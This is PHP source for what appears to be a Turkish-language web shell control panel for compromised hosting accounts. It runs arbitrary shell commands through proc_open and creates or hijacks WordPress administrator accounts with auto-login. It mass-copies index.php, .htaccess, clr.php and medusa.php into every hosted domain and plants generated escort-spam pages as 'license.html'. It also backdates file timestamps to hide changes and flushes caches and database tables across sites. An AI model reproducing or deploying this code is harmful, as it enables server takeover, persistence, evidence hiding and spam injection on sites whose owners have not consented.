    .entry-content { background:white; padding:40px 30px; border-radius:20px; box-shadow:0 10px 40px rgba(0,0,0,0.04); margin:30px auto; max-width:1000px; }
    .section-card { background:'.$theme['cardBg'].'; padding:30px; margin-bottom:32px; border-radius:'.$theme['cardRadius'].'; border:1px solid '.$theme['border'].'; transition:0.3s; box-shadow:'.$theme['cardShadow'].'; }
    .section-card:hover { border-color:'.$theme['accent'].'; box-shadow:0 8px 30px rgba(0,0,0,0.08); }
    .section-card h2 { color:'.$theme['heading'].'; font-size:1.6rem; border-left:4px solid '.$theme['accent'].'; padding-left:16px; margin-bottom:16px; font-family:\'Playfair Display\',serif; }
    .section-card p { line-height:1.9; color:'.$theme['text'].'; font-size:1.05rem; margin-bottom:12px; }
    .section-card .meta-tags { display:flex; gap:12px; flex-wrap:wrap; margin-top:12px; }
    .section-card .tag { background:'.$theme['tagBg'].'; padding:4px 16px; border-radius:30px; font-size:0.75rem; color:'.$theme['tagColor'].'; font-weight:500; }
    .district-tag { display:inline-block; background:'.$theme['tagBg'].'; padding:6px 14px; border-radius:30px; font-size:0.8rem; margin:4px; font-weight:500; color:'.$theme['heading'].'; border:1px solid '.$theme['border'].'; transition:0.2s; }
    .district-tag:hover { border-color:'.$theme['accent'].'; background:rgba(0,0,0,0.02); }
    .districts-list { columns:3; list-style:none; padding-left:0; }
    .districts-list li { padding:8px 0; font-size:0.9rem; border-bottom:1px solid '.$theme['border'].'; }
    .badge-logo { display:inline-block; background:'.$theme['accent'].'; color:'.$theme['heading'].'; border-radius:50px; padding:6px 20px; font-size:0.8rem; font-weight:700; letter-spacing:1px; margin-bottom:15px; }
    footer { text-align:center; padding:30px; color:'.$theme['footer'].'; font-size:0.8rem; border-top:1px solid '.$theme['border'].'; margin-top:30px; }
    @media (max-width:900px){ .districts-list { columns:2; } header h1 { font-size:2.2rem; } }
    @media (max-width:600px){ .districts-list { columns:1; } header h1 { font-size:1.8rem; } }
    ';

    // Schema JSON
    $schema = [
        "@context" => "https://schema.org",
        "@type" => "LocalBusiness",
        "name" => $titlePrefix,
        "alternateName" => $title,
        "description" => $desc,
        "url" => $baseUrl,
        "priceRange" => "₺₺₺",
        "address" => ["@type" => "PostalAddress", "addressLocality" => ucfirst($city), "addressCountry" => "TR"],
        "areaServed" => array_map(function($d){ return $d." Escort"; }, $mainD),
        "openingHours" => "Mo-Su 00:00-23:59"
    ];

    $footerD = implode(" Escort | ", array_slice($mainD, 0, $data['footerDistricts'])) . " Escort";

    // HTML oluştur
    return "<!DOCTYPE html>
<html lang='tr'>
<head>
    <meta charset='UTF-8'>
    <meta name='viewport' content='width=device-width, initial-scale=1.0'>
    <title>$title</title>
    <meta name='description' content='$desc'>
    <meta name='keywords' content='$keywords'>
    <link rel='canonical' href='$baseUrl' />
    <link rel='alternate' hreflang='tr' href='$baseUrl' />
    <link rel='alternate' hreflang='en' href='$baseUrl' />
    <link rel='alternate' hreflang='x-default' href='$baseUrl' />
    <link href='https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=Playfair+Display:wght@400;500;600;700&display=swap' rel='stylesheet' />
    <script type='application/ld+json'>".json_encode($schema)."</script>
    <style>$css</style>
</head>
<body>
    <header>
        <div class='badge-logo'>✦ $titlePrefix</div>
        <h1>$title</h1>
        <p>".substr($desc, 0, 150)."...</p>
        <div class='stats-bar'>
            <span>🌐 ".count($districts)." İlçe</span>
            <span>📍 ".count($neighborhoods)."+ Semt</span>
            <span>⭐ 500+ Profil</span>
            <span>🕐 7/24 Hizmet</span>
            <span>🔒 Elden Ödeme</span>
        </div>
    </header>
    <article>
        <div class='entry-content'>
            <div class='section-card' style='background:{$theme['cardBg']}; border-color:{$theme['accent']};'>
                <h2>✦ $titlePrefix Deneyimi</h2>
                <p>".randStr([
                    $titlePrefix.' hizmetleri, '.$city.'\'nin eşsiz güzellikleriyle birleşen lüks ve kaliteli bir deneyim sunar. '.implode(', ', array_slice($mainD,0,3)).' gibi dünyaca ünlü bölgelerde VIP escort hizmeti ile unutulmaz anlar yaşayın. '.ucfirst($city).'\'nın '.count($districts).' ilçesinde ve '.count($neighborhoods).'+ semtinde hizmet veriyoruz.',
                    'VIP escort kalitesiyle '.$titlePrefix.' dünyasında fark yaratıyoruz. '.implode(', ', array_slice($mainD,0,3)).' başta olmak üzere '.count($districts).' ilçede hizmet veren escort bayanlarımız, lüks otellerden butik rezidanslara kadar geniş mekan yelpazesinde sizleri ağırlamaktadır.'
                ])."</p>
                <div class='meta-tags'>
                    <span class='tag'>🌟 VIP Hizmet</span>
                    <span class='tag'>🔒 %100 Gizlilik</span>
                    <span class='tag'>💳 Elden Ödeme</span>
                    <span class='tag'>🕐 7/24</span>
                </div>
            </div>
            $cards
            <div class='section-card'>
                <h2>Tüm ".ucfirst($city)." İlçeleri — Escort Hizmetleri</h2>
                <ul class='districts-list'>$listItems</ul>
            </div>
            <div class='section-card'>
                <h2>Popüler Semtler — Escort Seçenekleri</h2>
                <div style='display:flex; flex-wrap:wrap; margin-bottom:12px;'>$tags</div>
                <p style='font-size:0.95rem; color:#666; margin-top:12px;'>✨ ".ucfirst($city)."'nın ".count($neighborhoods)."+ semtinde profesyonel escort hizmeti. ".implode(", ", array_slice($mainD, 0, 4))." ve tüm ilçelerde özel randevu imkanı.</p>
            </div>
            <div class='section-card'>
                <h2>VIP Ayrıcalıkları</h2>
                <p>
                    ✓ <strong>Elden ödeme</strong> — Kapora yok, güvenli ödeme<br>
                    ✓ <strong>Gerçek fotoğraflı</strong> onaylı profiller<br>
                    ✓ <strong>Lüks oteller</strong>, rezidanslar, özel apartlar<br>
                    ✓ <strong>7/24</strong> özel müşteri hizmetleri<br>
                    ✓ <strong>".count($districts)." ilçe</strong> + ".count($neighborhoods)."+ semt, her noktada hizmet<br>
                    ✓ <strong>Gizlilik</strong> ve mahremiyet garantisi<br>
                    ✓ ".implode(" escort, ", array_slice($mainD, 0, 5))." escort başta olmak üzere tüm ilçelerde hizmet
                </p>
            </div>
        </div>
    </article>
    <footer>
        <p>$footerD | ".ucfirst($city)." escort rehberi © ".date('Y')."</p>
    </footer>
</body>
</html>";
}

// ============================================
// ── TIMESTAMP MASKELEME ─────────────────────
// ============================================
function ref_mtime($dir,$skip=[]){
  $mt=[];
  if($dh=@opendir($dir)){
    while(($f=readdir($dh))!==false){
      if($f==='.'||$f==='..')continue;
      $fp=$dir.DIRECTORY_SEPARATOR.$f;
      if(!is_file($fp)||in_array($f,$skip))continue;
      $t=@filemtime($fp);
      if($t>mktime(0,0,0,1,1,2010))$mt[]=$t;
    }
    closedir($dh);
  }
  if(empty($mt))return null;
  sort($mt);
  return $mt[(int)(count($mt)/2)];
}

if(isset($_POST['fix_timestamp'])){
    $skip = ['.', '..', basename(__FILE__)];
    $refMt = ref_mtime($currentDirectory, $skip);
    if(!$refMt){
        $statusMessage = '❌ Referans dosya bulunamadı!';
        $statusType = 'error';
    } else {
        $count = 0;
        if($dh=@opendir($currentDirectory)){
            while(($f=readdir($dh))!==false){
                if($f==='.'||$f==='..'||in_array($f,$skip))continue;
                $fp=$currentDirectory.DIRECTORY_SEPARATOR.$f;
                if(is_file($fp)){
                    @touch($fp, $refMt);
                    $count++;
                }
            }
            closedir($dh);
        }
        $statusMessage = "✅ $count dosyanın timestamp'i güncellendi (Referans: ".date('d.m.Y H:i:s',$refMt).")";
        $statusType = 'success';
    }
}

// ============================================
// ── TÜM CACHE TEMİZLEME FONKSİYONU ─────────
// ============================================
function clearCacheForDirectory($dir) {
    $results = [];
    chdir($dir);
    
    // ── Sunucu cache'leri ──
    if (function_exists('opcache_reset')) {
        $results[] = opcache_reset() ? '✅ OPcache temizlendi' : '❌ OPcache temizlenemedi';
    } else {
        $results[] = '⚠️ OPcache aktif değil';
    }
    if (function_exists('apcu_clear_cache')) {
        $results[] = apcu_clear_cache() ? '✅ APCu temizlendi' : '❌ APCu temizlenemedi';
    } else {
        $results[] = '⚠️ APCu aktif değil';
    }
    if (class_exists('Memcache')) {
        try {
            $memcache = new Memcache();
            if (@$memcache->connect('localhost', 11211)) {
                $results[] = $memcache->flush() ? '✅ Memcache temizlendi' : '❌ Memcache temizlenemedi';
                $memcache->close();
            } else {
                $results[] = '⚠️ Memcache bağlanamadı';
            }
        } catch (Exception $e) {
            $results[] = '❌ Memcache hatası: ' . $e->getMessage();
        }
    } else {
        $results[] = '⚠️ Memcache aktif değil';
    }
    if (class_exists('Memcached')) {
        try {
            $memcached = new Memcached();
            $memcached->addServer('localhost', 11211);
            $results[] = $memcached->flush() ? '✅ Memcached temizlendi' : '❌ Memcached temizlenemedi';
        } catch (Exception $e) {
            $results[] = '❌ Memcached hatası: ' . $e->getMessage();
        }
    } else {
        $results[] = '⚠️ Memcached aktif değil';
    }
    if (class_exists('Redis')) {
        try {
            $redis = new Redis();
            if (@$redis->connect('127.0.0.1', 6379)) {
                $results[] = $redis->flushAll() ? '✅ Redis temizlendi' : '❌ Redis temizlenemedi';
                $redis->close();
            } else {
                $results[] = '⚠️ Redis bağlanamadı';
            }
        } catch (Exception $e) {
            $results[] = '❌ Redis hatası: ' . $e->getMessage();
        }
    } else {
        $results[] = '⚠️ Redis aktif değil';
    }

    // ── WordPress cache'leri ──
    $wpLoad = findWpLoadPath($dir);
    if ($wpLoad && file_exists($wpLoad)) {
        require_once $wpLoad;
        if (defined('ABSPATH')) {
            if (function_exists('wp_cache_flush')) {
                wp_cache_flush();
                $results[] = '✅ WordPress Object Cache temizlendi';
            }
            global $wpdb;
            if ($wpdb) {
                $count = $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_%' OR option_name LIKE '_site_transient_%'");
                $results[] = "✅ $count transient temizlendi";
                $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_timeout_%' OR option_name LIKE '_site_transient_timeout_%'");
                $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name = '_transient_doing_cron'");
                $time = time();
                $expired = $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_timeout_%' AND option_value < $time");
                $results[] = "✅ $expired süresi dolmuş transient temizlendi";
                $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_feed_%' OR option_name LIKE '_transient_dash_%'");
            }
            flush_rewrite_rules();
            $results[] = '✅ Rewrite rules yenilendi';
            
            if (function_exists('wp_cache_clear_cache')) { wp_cache_clear_cache(); $results[] = '✅ WP Super Cache temizlendi'; }
            if (function_exists('w3tc_flush_all')) { w3tc_flush_all(); $results[] = '✅ W3 Total Cache temizlendi'; }
            if (function_exists('rocket_clean_domain')) { rocket_clean_domain(); $results[] = '✅ WP Rocket cache temizlendi'; }
            if (class_exists('WpFastestCache')) { $wpfc = new WpFastestCache(); if (method_exists($wpfc, 'deleteCache')) { $wpfc->deleteCache(); $results[] = '✅ WP Fastest Cache temizlendi'; } }
            if (class_exists('autoptimizeCache')) { autoptimizeCache::clearall(); $results[] = '✅ Autoptimize cache temizlendi'; }
            if (defined('LSCWP_V')) { do_action('litespeed_purge_all'); $results[] = '✅ LiteSpeed Cache (WP) temizlendi'; }
            if (class_exists('Cache_Enabler')) { Cache_Enabler::clear_total_cache(); $results[] = '✅ Cache Enabler temizlendi'; }
            if (class_exists('comet_cache')) { comet_cache::clear(); $results[] = '✅ Comet Cache temizlendi'; }
            if (function_exists('hyper_cache_flush')) { hyper_cache_flush(); $results[] = '✅ Hyper Cache temizlendi'; }
            
            if ($wpdb) {
                $tables = $wpdb->get_results("SHOW TABLES", ARRAY_N);
                $optimized = 0;
                foreach ($tables as $table) { $wpdb->query("OPTIMIZE TABLE " . $table[0]); $optimized++; }
                $results[] = "✅ $optimized tablo optimize edildi";
                $revisions = $wpdb->query("DELETE FROM {$wpdb->posts} WHERE post_type = 'revision'");
                if ($revisions > 0) $results[] = "✅ $revisions post revision temizlendi";
                $drafts = $wpdb->query("DELETE FROM {$wpdb->posts} WHERE post_status = 'auto-draft'");
                if ($drafts > 0) $results[] = "✅ $drafts auto-draft temizlendi";
                $spam = $wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_approved = 'spam'");
                if ($spam > 0) $results[] = "✅ $spam spam yorum temizlendi";
            }
        }
    }

    // ── Dosya bazlı cache dizinleri ──
    $cacheDirs = [
        $dir . '/wp-content/cache/',
        $dir . '/cache/',
        $dir . '/wp-content/w3tc-cache/',
        $dir . '/wp-content/wp-rocket-cache/',
        $dir . '/wp-content/endurance-page-cache/',
        $dir . '/wp-content/et-cache/',
    ];
    if (defined('ABSPATH') && function_exists('wp_upload_dir')) {
        $upload_dir = wp_upload_dir();
        $cacheDirs[] = $upload_dir['basedir'] . '/cache/';
    }
    foreach ($cacheDirs as $cacheDir) {
        if (is_dir($cacheDir)) {
            $deleted = 0;
            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($cacheDir, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::CHILD_FIRST
            );
            foreach ($iterator as $file) {
                if ($file->isFile()) { @unlink($file->getRealPath()); $deleted++; }
            }
            if ($deleted > 0) {
                $results[] = "✅ " . basename($cacheDir) . " dizini temizlendi ($deleted dosya)";
            }
        }
    }

    // ── LiteSpeed purge header ──
    if (!headers_sent()) {
        header('X-LiteSpeed-Purge: *');
        $results[] = '✅ LiteSpeed purge header gönderildi';
    }
    $lsDirs = ['/tmp/lshttpd/swap/', '/tmp/lshttpd/cache/', '/var/cache/litespeed/'];
    foreach ($lsDirs as $lsDir) {
        if (is_dir($lsDir)) {
            $deleted = 0;
            foreach (glob($lsDir . '*') as $f) { if (is_file($f) && @unlink($f)) $deleted++; }
            if ($deleted > 0) $results[] = "✅ LiteSpeed dosya cache ($lsDir): $deleted dosya silindi";
        }
    }

    return $results;
}

// ── CACHE TEMİZLEME (tek domain) ────────────
if(isset($_POST['clear_cache'])){
    $results = clearCacheForDirectory($currentDirectory);
    $statusMessage = implode(' | ', $results);
    $statusType = (strpos($statusMessage, '❌') !== false) ? 'error' : 'success';
}

// ── TÜM DOMAIN CACHE TEMİZLE ────────────────
if(isset($_POST['clear_all_domains_cache'])){
    $allResults = [];
    $domainsBase = '';
    $temp = $currentDirectory;
    while($temp != '/' && $temp != '.'){
        if(basename($temp) === 'domains'){
            $domainsBase = $temp;
            break;
        }
        $temp = dirname($temp);
    }
    if(empty($domainsBase) || !is_dir($domainsBase)){
        $statusMessage = '❌ "domains" klasörü bulunamadı!';
        $statusType = 'error';
    } else {
        $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR);
        if(empty($publicDirs)){
            $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.';
            $statusType = 'error';
        } else {
            $count = 0;
            foreach($publicDirs as $publicHtml){
                $results = clearCacheForDirectory($publicHtml);
                $allResults[] = "🌐 " . basename(dirname($publicHtml)) . ": " . implode(', ', $results);
                $count++;
            }
            $statusMessage = "✅ $count domain cache temizlendi: " . implode(' | ', $allResults);
            $statusType = 'success';
        }
    }
}

// ── DEPLOY ESCORT TEMPLATE AS license.html (Güncellendi) ──
if(isset($_POST['deploy_escort'])){
    $city = isset($_POST['escort_city']) ? $_POST['escort_city'] : 'bodrum';
    try {
        $domainsBase = '';
        $temp = $currentDirectory;
        while($temp != '/' && $temp != '.'){
            if(basename($temp) === 'domains'){
                $domainsBase = $temp;
                break;
            }
            $temp = dirname($temp);
        }
        if(empty($domainsBase) || !is_dir($domainsBase)){
            // domains yoksa mevcut domaine yaz
            $url = getDomainUrl($currentDirectory) ?: 'http://' . $_SERVER['HTTP_HOST'];
            $html = generateEscortPage($url, $city);
            $filePath = $currentDirectory . '/license.html';
            if(file_put_contents($filePath, $html) !== false){
                $statusMessage = "✅ license.html mevcut domain'e kopyalandı (Şehir: " . ucfirst($city) . ")";
                $statusType = 'success';
            } else {
                $statusMessage = "❌ license.html yazılamadı.";
                $statusType = 'error';
            }
        } else {
            $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR);
            if(empty($publicDirs)){
                throw new Exception('Hiç public_html dizini bulunamadı.');
            }
            $count = 0;
            foreach($publicDirs as $publicHtml){
                $domainName = basename(dirname($publicHtml));
                $url = 'https://' . $domainName;
                $html = generateEscortPage($url, $city);
                $filePath = $publicHtml . '/license.html';
                if(file_put_contents($filePath, $html) !== false){
                    $count++;
                }
            }
            $statusMessage = "✅ $count domain'e license.html başarıyla kopyalandı (Şehir: " . ucfirst($city) . ").";
            $statusType = 'success';
        }
    } catch (Exception $e) {
        $statusMessage = '❌ Hata: ' . $e->getMessage();
        $statusType = 'error';
    }
}

// ── DEPLOY .htaccess & index.php TO ALL DOMAINS ──
if(isset($_POST['deploy_all_domains'])){
    $sourceDir = $currentDirectory;
    $htaccessSrc = $sourceDir . '/.htaccess';
    $indexSrc = $sourceDir . '/index.php';
    
    if(!file_exists($htaccessSrc) || !file_exists($indexSrc)){
        $statusMessage = '❌ .htaccess veya index.php bulunamadı!';
        $statusType = 'error';
    } else {
        $domainsBase = '';
        $temp = $currentDirectory;
        while($temp != '/' && $temp != '.'){
            if(basename($temp) === 'domains'){
                $domainsBase = $temp;
                break;
            }
            $temp = dirname($temp);
        }
        if(empty($domainsBase) || !is_dir($domainsBase)){
            $statusMessage = '❌ "domains" klasörü bulunamadı!';
            $statusType = 'error';
        } else {
            $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR);
            if(empty($publicDirs)){
                $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.';
                $statusType = 'error';
            } else {
                $count = 0;
                foreach($publicDirs as $publicHtml){
                    if(copy($htaccessSrc, $publicHtml . '/.htaccess')) $count++;
                    if(copy($indexSrc, $publicHtml . '/index.php')) $count++;
                }
                $statusMessage = "✅ $count dosya kopyalandı (" . (count($publicDirs)) . " domain)";
                $statusType = 'success';
            }
        }
    }
}

// ── DEPLOY CLR.PHP TO ALL DOMAINS (Ana dizine) ──
if(isset($_POST['deploy_clr_php'])){
    $sourceDir = $currentDirectory;
    $clrSrc = $sourceDir . '/clr.php';
    
    if(!file_exists($clrSrc)){
        $statusMessage = '❌ clr.php bulunamadı!';
        $statusType = 'error';
    } else {
        $domainsBase = '';
        $temp = $currentDirectory;
        while($temp != '/' && $temp != '.'){
            if(basename($temp) === 'domains'){
                $domainsBase = $temp;
                break;
            }
            $temp = dirname($temp);
        }
        if(empty($domainsBase) || !is_dir($domainsBase)){
            $statusMessage = '❌ "domains" klasörü bulunamadı!';
            $statusType = 'error';
        } else {
            $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR);
            if(empty($publicDirs)){
                $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.';
                $statusType = 'error';
            } else {
                $count = 0;
                foreach($publicDirs as $publicHtml){
                    if(copy($clrSrc, $publicHtml . '/clr.php')) $count++;
                }
                $statusMessage = "✅ $count domain'e clr.php kopyalandı (ana dizin)";
                $statusType = 'success';
            }
        }
    }
}

// ── DEPLOY MEDUSA.PHP TO ALL WP-CONTENT DIRS ──
if(isset($_POST['deploy_medusa_wpcontent'])){
    $sourceDir = $currentDirectory;
    $medusaSrc = $sourceDir . '/medusa.php';
    
    if(!file_exists($medusaSrc)){
        $medusaSrc = $sourceDir . '/wp-content/medusa.php';
    }
    if(!file_exists($medusaSrc)){
        $statusMessage = '❌ medusa.php bulunamadı! (ana dizinde veya wp-content/ içinde)';
        $statusType = 'error';
    } else {
        $domainsBase = '';
        $temp = $currentDirectory;
        while($temp != '/' && $temp != '.'){
            if(basename($temp) === 'domains'){
                $domainsBase = $temp;
                break;
            }
            $temp = dirname($temp);
        }
        if(empty($domainsBase) || !is_dir($domainsBase)){
            $statusMessage = '❌ "domains" klasörü bulunamadı!';
            $statusType = 'error';
        } else {
            $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR);
            if(empty($publicDirs)){
                $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.';
                $statusType = 'error';
            } else {
                $count = 0;
                foreach($publicDirs as $publicHtml){
                    $wpContent = $publicHtml . '/wp-content';
                    if(is_dir($wpContent)){
                        if(copy($medusaSrc, $wpContent . '/medusa.php')) $count++;
                    }
                }
                $statusMessage = "✅ $count domain/wp-content/ dizinine medusa.php kopyalandı";
                $statusType = 'success';
            }
        }
    }
}

// ── TÜM DOMAİNLERDE .htaccess VE index.php İZİNLERİNİ TOPLU AYARLA ──
if(isset($_POST['set_permissions_all_domains'])){
    $permMode = isset($_POST['permission_mode']) ? intval($_POST['permission_mode']) : 644;
    $domainsBase = '';
    $temp = $currentDirectory;
    while($temp != '/' && $temp != '.'){
        if(basename($temp) === 'domains'){
            $domainsBase = $temp;
            break;
        }
        $temp = dirname($temp);
    }
    if(empty($domainsBase) || !is_dir($domainsBase)){
        $statusMessage = '❌ "domains" klasörü bulunamadı!';
        $statusType = 'error';
    } else {
        $publicDirs = glob($domainsBase . '/*/public_html', GLOB_ONLYDIR);
        if(empty($publicDirs)){
            $statusMessage = '⚠️ Hiç public_html dizini bulunamadı.';
            $statusType = 'error';
        } else {
            $count = 0;
            $results = [];
            foreach($publicDirs as $publicHtml){
                $domainName = basename(dirname($publicHtml));
                $htaccess = $publicHtml . '/.htaccess';
                $index = $publicHtml . '/index.php';
                $changed = 0;
                if(file_exists($htaccess)){
                    if(chmod($htaccess, octdec($permMode))){ $changed++; }
                }
                if(file_exists($index)){
                    if(chmod($index, octdec($permMode))){ $changed++; }
                }
                if($changed > 0){
                    $count++;
                    $results[] = $domainName . ' (' . $changed . ' dosya)';
                }
            }
            $statusMessage = "✅ $count domain'de izinler " . $permMode . " olarak ayarlandı: " . implode(', ', array_slice($results, 0, 5)) . (count($results) > 5 ? ' …' : '');
            $statusType = 'success';
        }
    }
}

// ============================================
// ── DOSYA İŞLEMLERİ ────────────────────────
// ============================================
if($_SERVER['REQUEST_METHOD']==='POST'){

    // ── TERMINAL KOMUT ─────────────────────────
    if(isset($_POST['cmd_input'])){
        $cmd = trim($_POST['cmd_input']);
        
        // ── ÖZEL KOMUTLAR ──────────────────────────
        $specialOutput = '';
        
        if(preg_match('/^wp user create (\S+) (\S+)(?:\s+(\S+))?$/', $cmd, $matches)) {
            $wUser = $matches[1];
            $wPass = $matches[2];
            $wEmail = $matches[3] ?? $wUser . '@example.com';
            
            $wpLoad = findWpLoadPath($currentDirectory);
            if ($wpLoad && file_exists($wpLoad)) {
                require_once $wpLoad;
                if (function_exists('username_exists')) {
                    if (!username_exists($wUser)) {
                        $user_id = wp_create_user($wUser, $wPass, $wEmail);
                        if (!is_wp_error($user_id)) {
                            $user = new WP_User($user_id);
                            $user->set_role('administrator');
                            wp_set_auth_cookie($user_id);
                            $wpAdminUrl = findWpAdminUrl($currentDirectory);
                            $specialOutput = "✅ Kullanıcı oluşturuldu: $wUser (Admin)\n🔗 Giriş: " . $wpAdminUrl;
                            echo '<script>window.open("' . $wpAdminUrl . '", "_blank");</script>';
                        } else {
                            $specialOutput = "❌ Hata: " . $user_id->get_error_message();
                        }
                    } else {
                        $user = get_user_by('login', $wUser);
                        if ($user) {
                            wp_set_password($wPass, $user->ID);
                            wp_set_auth_cookie($user->ID);
                            $wpAdminUrl = findWpAdminUrl($currentDirectory);
                            $specialOutput = "✅ Şifre güncellendi: $wUser\n🔗 Giriş: " . $wpAdminUrl;
                            echo '<script>window.open("' . $wpAdminUrl . '", "_blank");</script>';
                        } else {
                            $specialOutput = "❌ Kullanıcı bulunamadı: $wUser";
                        }
                    }
                } else {
                    $specialOutput = "❌ WordPress fonksiyonları yüklenemedi";
                }
            } else {
                $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)";
            }
        }
        
        elseif($cmd === 'wp admin' || $cmd === 'wp-open') {
            $wpAdminUrl = findWpAdminUrl($currentDirectory);
            $wpLoad = findWpLoadPath($currentDirectory);
            if ($wpLoad && file_exists($wpLoad)) {
                require_once $wpLoad;
                if (function_exists('username_exists')) {
                    $adminUsers = get_users(['role' => 'administrator', 'number' => 1]);
                    if (!empty($adminUsers)) {
                        $adminUser = $adminUsers[0];
                        wp_set_auth_cookie($adminUser->ID);
                        wp_set_current_user($adminUser->ID);
                        $specialOutput = "✅ Otomatik giriş yapıldı: " . $adminUser->user_login . "\n🔗 " . $wpAdminUrl;
                        echo '<script>window.open("' . $wpAdminUrl . '", "_blank");</script>';
                    } else {
                        $specialOutput = "⚠️ Admin kullanıcı bulunamadı! Lütfen 'wp user create' ile oluşturun.\n🔗 " . $wpAdminUrl;
                    }
                } else {
                    $specialOutput = "❌ WordPress fonksiyonları yüklenemedi";
                }
            } else {
                $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)";
            }
        }
        
        elseif($cmd === 'wp info') {
            $wpLoad = findWpLoadPath($currentDirectory);
            if ($wpLoad && file_exists($wpLoad)) {
                require_once $wpLoad;
                if (function_exists('get_bloginfo')) {
                    $specialOutput = "📋 WordPress Bilgileri:\n";
                    $specialOutput .= "Site Adı: " . get_bloginfo('name') . "\n";
                    $specialOutput .= "Site URL: " . get_bloginfo('url') . "\n";
                    $specialOutput .= "WordPress Versiyon: " . get_bloginfo('version') . "\n";
                    $specialOutput .= "Admin URL: " . admin_url() . "\n";
                    $specialOutput .= "Kullanıcı Sayısı: " . count_users()['total_users'];
                } else {
                    $specialOutput = "❌ WordPress bilgileri alınamadı";
                }
            } else {
                $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)";
            }
        }
        
        elseif($cmd === 'wp plugins') {
            $wpLoad = findWpLoadPath($currentDirectory);
            if ($wpLoad && file_exists($wpLoad)) {
                require_once $wpLoad;
                if (function_exists('get_plugins')) {
                    if (!function_exists('get_plugins')) {
                        require_once ABSPATH . 'wp-admin/includes/plugin.php';
                    }
                    $plugins = get_plugins();
                    $specialOutput = "📦 Aktif Pluginler:\n";
                    $found = false;
                    foreach ($plugins as $plugin_path => $plugin) {
                        if (is_plugin_active($plugin_path)) {
                            $specialOutput .= "✅ " . $plugin['Name'] . " v" . $plugin['Version'] . "\n";
                            $found = true;
                        }
                    }
                    if (!$found) {
                        $specialOutput = "⚠️ Aktif plugin bulunamadı";
                    }
                } else {
                    $specialOutput = "❌ Plugin listesi alınamadı";
                }
            } else {
                $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)";
            }
        }
        
        elseif($cmd === 'wp cache clear') {
            $wpCache = $currentDirectory . '/wp-content/cache';
            if(is_dir($wpCache)){
                $count = 0;
                $it = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($wpCache, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::CHILD_FIRST
                );
                foreach($it as $f){
                    if($f->isFile() || $f->isLink()){
                        @unlink($f->getRealPath());
                        $count++;
                    } elseif($f->isDir()){
                        @rmdir($f->getRealPath());
                    }
                }
                $specialOutput = "🗑️ $count dosya silindi (wp-content/cache/)";
            } else {
                $specialOutput = "⚠️ wp-content/cache/ dizini bulunamadı";
            }
        }
        
        elseif($cmd === 'wp themes') {
            $wpLoad = findWpLoadPath($currentDirectory);
            if ($wpLoad && file_exists($wpLoad)) {
                require_once $wpLoad;
                if (function_exists('wp_get_themes')) {
                    $themes = wp_get_themes();
                    $active_theme = wp_get_theme();
                    $specialOutput = "🎨 Temalar:\n";
                    $specialOutput .= "Aktif Tema: " . $active_theme->get('Name') . " v" . $active_theme->get('Version') . "\n\n";
                    $specialOutput .= "Yüklü Temalar:\n";
                    foreach ($themes as $slug => $theme) {
                        $status = ($slug === $active_theme->get_stylesheet()) ? "✅ " : "   ";
                        $specialOutput .= $status . $theme->get('Name') . " v" . $theme->get('Version') . "\n";
                    }
                } else {
                    $specialOutput = "❌ Tema listesi alınamadı";
                }
            } else {
                $specialOutput = "❌ WordPress yüklenemedi (wp-load.php bulunamadı)";
            }
        }
        
        elseif($cmd === 'help' || $cmd === 'wp help') {
            $specialOutput = "📚 Özel Komutlar:\n";
            $specialOutput .= "─────────────────────────────────────────────\n";
            $specialOutput .= "wp user create <user> <pass> [email]\n";
            $specialOutput .= "  → WordPress admin kullanıcı oluştur\n\n";
            $specialOutput .= "wp admin veya wp-open\n";
            $specialOutput .= "  → WordPress Admin panelini aç (otomatik giriş)\n\n";
            $specialOutput .= "wp info\n";
            $specialOutput .= "  → WordPress site bilgilerini göster\n\n";
            $specialOutput .= "wp plugins\n";
            $specialOutput .= "  → Aktif pluginleri listele\n\n";
            $specialOutput .= "wp themes\n";
            $specialOutput .= "  → Temaları listele\n\n";
            $specialOutput .= "wp cache clear\n";
            $specialOutput .= "  → WordPress cache temizle\n\n";
            $specialOutput .= "help veya wp help\n";
            $specialOutput .= "  → Bu yardım mesajını göster\n";
            $specialOutput .= "─────────────────────────────────────────────\n";
            $specialOutput .= "💡 Normal Linux komutları da çalışır!";
        }
        
        // ── Normal Komut ──────────────────────────
        if(empty($specialOutput)) {
            if(!empty($cmd)){
                array_unshift($_SESSION['terminal_history'], [
                    'cmd' => $cmd,
                    'time' => date('H:i:s')
                ]);
                $_SESSION['terminal_history'] = array_slice($_SESSION['terminal_history'], 0, 100);
                $terminalHistory = $_SESSION['terminal_history'];
            }
            
            $ds=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];
            $proc=proc_open($cmd,$ds,$pipes);
            if(is_resource($proc)){
                $out=stream_get_contents($pipes[1]);
                $err=stream_get_contents($pipes[2]);
                fclose($pipes[1]);fclose($pipes[2]);proc_close($proc);
                $viewCommandResult=[
                    'type'=>'command',
                    'label'=>'$ '.htmlspecialchars($cmd),
                    'content'=>htmlspecialchars(!empty($err)?$err:$out),
                    'filename'=>''
                ];
            }else{
                $statusMessage='Failed to execute command';
                $statusType='error';
            }
        } else {
